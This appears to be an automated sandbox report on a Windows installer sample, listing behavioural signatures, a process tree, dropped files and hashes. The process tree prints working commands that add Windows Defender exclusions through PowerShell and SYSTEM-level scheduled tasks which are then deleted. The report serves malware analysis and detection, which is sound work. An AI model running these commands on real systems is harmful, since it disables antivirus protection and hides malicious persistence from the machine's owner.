Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 08:44

General

  • Target
    install.2.0.15.exe
  • Size 30.5MB
  • Sample261024-kndjzagy6s
  • SHA256 13c5b2952b5d8f2ea75506f3dd8cc5d467cd59a9aa364c02c67976d4cebdba2b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.15.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.15.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:1844
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4584
    • C:\Users\Public\Zb8msb\fsUkbs.exe
      "C:\Users\Public\Zb8msb\fsUkbs.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:5588
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zb8msb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:800
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zb8msb\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5336
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4508
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:244
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3120
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4816
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1776
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2380
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:3744
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1400
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:6092
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4132
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:4756
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:3352
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:4000
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2996
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:5876
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:5716
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:3300
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4492
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zb8msb" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:6028
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zb8msb" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2780
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:2160
                          • C:\Users\Public\Zb8msb\fsUkbs.exe
                            "C:\Users\Public\Zb8msb\fsUkbs.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4448
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5900
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1476
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3404
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2944
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1248
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3840

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 a0edb7258166916f11e04c6b0f4880f908e47fe434ae5f9ee850e8fdf5a937f1
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 a7ff92e6fbe3a854159b590b4d8fa15e8cfe6b397f3ddefa8fc8b18fdbd85d8d
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 f2a151536cf8a578f41da00f77ebbd886830e7245d7cd9e222e35ad7db167b25
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 ed5d22384b237eeea40c21c5fe82fbf12e3a896e005bb88f21e4375ef394aba8
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_5poljnjw.idq.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5poljnjw.idq.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\Zb8msb\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 e77e8557fce780ce53ff50e921a7d7deb41f287b396a9341501a592fd7516f06
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\Zb8msb\adoresd.dat
                                • Size 4.8MB
                                • SHA256 0708e3fff095f7d390f6a33c82cb77836131943624ce2afcfce2a862c35d7a61
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                fsUkbs.exe

                                • Path C:\Users\Public\Zb8msb\fsUkbs.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\Zb8msb\msadox.tb
                                • Size 8KB
                                • SHA256 62df25abaf4aae1e09fb2674e261cdce6a47d4dc6d2ab4e033b3bf7ea0557cec
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1844-0-0x00000000027B0000-0x00000000027BE000-memory.dmp

                                memory/1844-526-0x00000000027B0000-0x00000000027BE000-memory.dmp

                                memory/1844-527-0x00007FFB3E660000-0x00007FFB3E672000-memory.dmp

                                memory/1844-504-0x00007FFB3E660000-0x00007FFB3E672000-memory.dmp

                                memory/1844-2-0x00000000027C0000-0x00000000027CC000-memory.dmp

                                memory/1844-1-0x00000000027B0000-0x00000000027BE000-memory.dmp

                                memory/3748-562-0x0000019623C90000-0x0000019623D1A000-memory.dmp

                                memory/3748-533-0x00007FFB23D60000-0x00007FFB2427E000-memory.dmp

                                memory/3748-546-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-548-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-552-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-564-0x0000019623C90000-0x0000019623D1A000-memory.dmp

                                memory/3748-563-0x0000019623C90000-0x0000019623D1A000-memory.dmp

                                memory/3748-545-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-561-0x0000019623C90000-0x0000019623D1A000-memory.dmp

                                memory/3748-560-0x00000196224F0000-0x000001962253E000-memory.dmp

                                memory/3748-558-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-570-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-540-0x00007FFB46660000-0x00007FFB46662000-memory.dmp

                                memory/3748-541-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-538-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-547-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-609-0x0000019622FE0000-0x00000196238B7000-memory.dmp

                                memory/3748-532-0x00007FFB46650000-0x00007FFB46652000-memory.dmp

                                memory/4448-591-0x000001439BAE0000-0x000001439C3B7000-memory.dmp

                                memory/4448-586-0x000001439BAE0000-0x000001439C3B7000-memory.dmp

                                memory/4448-596-0x00007FFB46650000-0x00007FFB46652000-memory.dmp

                                memory/4448-594-0x000001439BAE0000-0x000001439C3B7000-memory.dmp

                                memory/4448-595-0x000001439BAE0000-0x000001439C3B7000-memory.dmp

                                memory/4448-590-0x000001439BAE0000-0x000001439C3B7000-memory.dmp

                                memory/4448-585-0x00007FFB46660000-0x00007FFB46662000-memory.dmp

                                memory/4448-583-0x000001439BAE0000-0x000001439C3B7000-memory.dmp

                                memory/4448-580-0x00007FFB23D60000-0x00007FFB2427E000-memory.dmp

                                memory/5588-600-0x00000178F9160000-0x00000178F9182000-memory.dmp

                                memory/5588-606-0x00000178F91C0000-0x00000178F91DE000-memory.dmp

                                memory/5588-607-0x00000178F93F0000-0x00000178F94A2000-memory.dmp

                                memory/5588-610-0x00000178F91A0000-0x00000178F91AA000-memory.dmp